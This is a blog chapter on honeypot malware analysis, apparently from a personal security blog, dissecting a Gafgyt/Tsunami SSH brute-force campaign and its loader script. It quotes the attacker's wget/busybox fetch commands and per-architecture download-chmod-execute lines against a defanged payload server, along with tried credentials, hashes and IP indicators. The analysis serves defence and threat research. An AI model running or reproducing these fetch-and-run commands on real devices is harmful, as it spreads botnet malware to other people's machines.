ES EN
Index

KHserver · Chapter 11

The bot that bragged — and couldn't be bothered

A 1,177-byte loader landed: nine lines of wget, one per architecture, in the style I have already opened three times on this blog. I was going to file it as a repeat offender and get on with my day. I opened it anyway, out of habit — and the first thing I saw was that it had a few characters too many.

The watcher fired with a 1,177-byte file. A shell script. Nine lines of wget, one per architecture, in the style I have already opened three times on this blog.

I was going to tag it as a repeat offender and get on with my day. I opened it anyway, out of habit. And the first thing I saw was that this one had a few characters too many.

01Five visits in one minute

It didn't come once: it came five times, from the same address, within sixty seconds, trying a different password each time. Like someone working through a whole keyring on the same lock.

  1. 0sGets in with root / root. Downloads and leaves.
  2. 1sComes back with root / password. This time it signs off with echo PAYLOAD_EXECUTED.
  3. 2sAgain, root / 123456.
  4. 4sAnd again, user / user.
  5. 55sAnd a fifth time, root / 123123.

All five type exactly the same thing:

what it runs, five times over
cd /tmp 2>/dev/null || cd /run 2>/dev/null || cd /
wget hxxp://213.232.114[.]14/handshakebins.sh
busybox wget hxxp://213.232.114[.]14/handshakebins.sh

That backup busybox wget is standard practice in the world of small devices: a router or a camera often has no real wget, just the BusyBox multi-tool. Try both, just in case.

That PAYLOAD_EXECUTED isn't for meIt's a beacon: a word the attacker prints so that their own orchestrator, reading the session output, knows the machine took the bait. Every family has its own. RedTail wrote redtail_bot_telnet_ok; Sysorbit sent a registration token. This one just says «payload executed».

02Nine downloads and one glaring mistake

The script it fetches carries nine attempts, one per architecture, with the names typed in by hand:

handshakebins.sh · 1,177 B
-e #!/bin/bash
-e cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://213.232.114[.]14/MIPS;   chmod +x MIPS;   ./MIPS;   rm -rf MIPS
-e cd /tmp || ... wget hxxp://213.232.114[.]14/MIPSEL;  chmod +x MIPSEL;  ./MIPSEL;  rm -rf MIPSEL
-e cd /tmp || ... wget hxxp://213.232.114[.]14/SH4;     ...
-e cd /tmp || ... wget hxxp://213.232.114[.]14/X86_64;  ...
-e cd /tmp || ... wget hxxp://213.232.114[.]14/ARMV6L;  ...
-e ... and so on with I686 · I586 · M68K · ARMV4L

The strategy is brute force: fire all nine and let whichever one can, run. A MIPS device will ignore the other eight and execute its own.

But look at the start of each line. Those -e markers shouldn't be there. They come from generating the file with an echo -e in a shell where that flag doesn't exist: instead of interpreting it, it wrote it into the file. The script still works —bash tries to run a command called -e, fails, and carries on with the rest of the line— but it's the first sign of someone in a hurry who checks nothing.

The second sign is considerably worse.

03All nine names are lying

I pulled three of the nine binaries and, before looking at anything else, asked the system what they were. It's the first thing I always do, and it takes a second:

file *.bin
X86_64.bin:  ELF 32-bit LSB executable, ARM, EABI4
MIPS.bin:    ELF 32-bit LSB executable, ARM
ARMV4L.bin:  ELF 32-bit LSB executable, Renesas SH

The one called X86_64 is ARM. The one called MIPS is ARM. The one called ARMV4L is a Renesas SH. Not one of the three is what it claims to be.

This is not a cosmetic detailThe loader fires all nine downloads blind and trusts that only the right one will run. If the names don't match, x86 machines never get infected: they download an ARM binary their processor can't read, and that's the end of it. Whoever set up that server uploaded the files crossed over and is losing victims without noticing.

And it's a failure that never surfaces: the campaign keeps working on ARM devices, which are the majority. Nobody is going to complain.

Compare it with the XorDDoS from Chapter 1, another family and another world: that one sent uname -m to its own server so it would return exactly the right binary, and along the way renamed wget to good and curl to cool, so no rival botnet could download anything on that machine afterwards. That was craft. This is haste.

04Two addresses, two worlds

There are two different servers in this attack, and they have nothing in common.

The one that comes in45.135.194.26, hosted in Germany— is utterly burned: 463 reports from 280 distinct users on AbuseIPDB, and fourteen VirusTotal engines calling it malicious. It's a throwaway address, and its job is to be exposed.

The one serving the payload213.232.114[.]14, in the Netherlands— was, when I checked, spotless: zero detections, a single report, unknown to abuse.ch.

The split makes senseThe IP doing the noisy work —scanning half the internet with root/root— fills up with reports within days and ends up on every blocklist. The one holding the goods is only ever visited by victims that already took the bait, so almost nobody sees it and almost nobody reports it. They burn one and protect the other.

A curiosity: the first one's range is registered to the same holder as the one behind Sysorbit's command server, four chapters ago. This business concentrates in very few places.

And that "the same" deserves a correction, because I rounded it off too neatly when I wrote it. In the internet registries there are two different things that are easy to confuse: whose name a range of addresses is in, and who announces it to the rest of the network. They don't have to be the same.

RangeRegistered toAnnounced by
45.135.194.0/24 — the one that attacked mePFCLOUD-NETAS51396 · Pfcloud UG
176.65.139.0/24 — Sysorbit's C2PFCLOUD-NETAS219502 · Storm Industries LLC

Both ranges are registered to the same holder. But Sysorbit's isn't announced by them: it's put out onto the network by a different company altogether. So what the two cases share isn't exactly "the provider": it's the owner of the address space, with two different routes out to the internet.

It may look like nitpicking, and it isn't: if somebody tries to follow this trail and searches by the ASN, in one case they find Pfcloud and in the other they find nothing. You have to know which of the two things you're asking about.

05What the antivirus engines say (and what they don't)

With the hashes in hand I went to see what was already known. VirusTotal had the script from that same day, 31 out of 75 engines, already up there before it ever reached me. One of the binaries was there too, at 33 out of 75, with a label:

the industry's verdict
trojan.gafgyt/tsunami     ·     tags: gafgyt · tsunami · ddos

«Gafgyt/Tsunami, DDoS». Translated: a denial-of-service botnet from the usual family. And that, normally, is where it ends: the sample gets filed under its label and nobody looks again.

But a label is not an analysis. It doesn't say who it obeys, or what it can do, or what the person paying for it uses it for. It says what it resembles.

So I took the binary to the lab. And it turned out to be unstripped: the author left the names of his own functions inside — six hundred and twenty-eight of them. That isn't reading assembly blind any more; that's being handed the book's index.

What that index said is the next chapter. One preview: among the functions there is one called fortnite_flood.

06Indicators (IOCs)

TypeValue
Loader SHA-256f7134ec664ca003c740337cf7b2fbba1162430d86ca1d7a2b5c14fe0463d261b
File namehandshakebins.sh (1,177 B) · VT 31/75, first seen 2026-08-25 11:20 UTC
Binary SHA-256 (Renesas SH)b297dc8f54f612f92c26735ab50e1360057df3909556d85e6439e695aa646148 — VT 33/75, gafgyt/tsunami
Binary SHA-256 (ARM)0658e79b91e732723b540ee7040eb0289c497f781d750e42b25dfcf10d233f50
Binary SHA-256 (ARM EABI4)5a21c34ff54ab1a92246b9cfba815ed187fe636b9350d41e26c5e4aa8f4bf891
Payload server213.232.114.14 (VirMach / xTom, AS3214) · nine per-architecture binaries, with the names crossed over
Attacking IP45.135.194.26 (Pfcloud UG, AS51396) — 463 reports on AbuseIPDB
Beaconecho PAYLOAD_EXECUTED
Credentials triedroot/root · root/password · root/123456 · root/123123 · user/user
Way inSSH · port 22 · brute force
Seventeen days onThe division of roles described in §04 — one IP that burns and another that survives — can be measured. I looked all three up again on 11 September:

· 45.135.194.26, the one that attacks: from 463 reports to 855, and from 280 distinct users to 429. Still working, still burning.
· 213.232.114.14, the delivery one, the "spotless" one: from 1 report to 10, the latest that same day. Starting to catch fire, three weeks on.
· 45.95.168.149, the actual command server: zero reports, same as day one. The only thing that has moved is its VirusTotal score, from 6 to 13.

The piece nobody sees still isn't being seen. Which is precisely the chapter's thesis, now with a clock on it.

To be continued — in Chapter 12 I open the binary. It came unstripped, with the names of all six hundred and twenty-eight of its functions left on. 🍯

Comments